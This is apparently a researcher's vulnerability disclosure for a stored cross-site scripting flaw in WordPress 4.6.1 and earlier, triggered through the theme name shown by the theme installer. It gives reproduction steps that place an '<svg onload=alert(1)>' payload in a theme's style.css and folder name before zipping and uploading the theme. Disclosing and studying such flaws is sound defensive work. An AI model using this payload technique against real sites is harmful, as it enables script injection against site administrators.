Low Severity | WordPress <= 4.6.1 Stored XSS Via Theme File

Initial report has been shared with security@wordpress.org at 8 Sep 2016 (a month ago) and haven’t received any response from WP team.

Technical Details

Vulnerable code is located at /wp-admin/includes/class-theme-installer-skin.php

Lines between 68 – 81 wordpress-xss

There is a $name parameter used at the inside of HTML content.

$theme_info = $this->upgrader->theme_info();
if ( empty( $theme_info ) )
$name       = $theme_info->display('Name');

Here is the definition of $name variable. It takes information from theme. From an attacker perspective, there is a possibility to put payload into that html piece.

Technical Details

1 – Download a theme file. You can choose whatever you want (https://downloads.wordpress.org/theme/illdy.1.0.29.zip)

2 – Extract the theme

➜  Desktop #unzip -x illdy.1.0.29.zip

3 – Open illdy/style.css file and perform following changes

Theme Name: <svg onload=alert(1)>

4 – Change directory name.

➜  Desktop #mv illdy "<svg onload=alert(1)>"

5 – Compress the theme folder.

➜  Desktop #zip -r theme.zip "<svg onload=alert(1)>"

5 – Login into your wordpress with administrator credentials.

6 – Go theme upload module http://LOCALHOST/wp-admin/theme-install.php

7 – Choose theme.zip

8 – Final.


Attack Scenario

1 – Attacker uploads a theme as a zip file.

2 – Webmaster who just want to download a theme and then upload, takes a theme file.

3 – And upload it without verify content of zip file.


You can not use xss payload as a folder name in Windows. Thus, this issue affects only WordPress instances that deployed on Linux.

Trigging the issue requires a theme upload.

Thus I believe this issue should be marked as a Low level.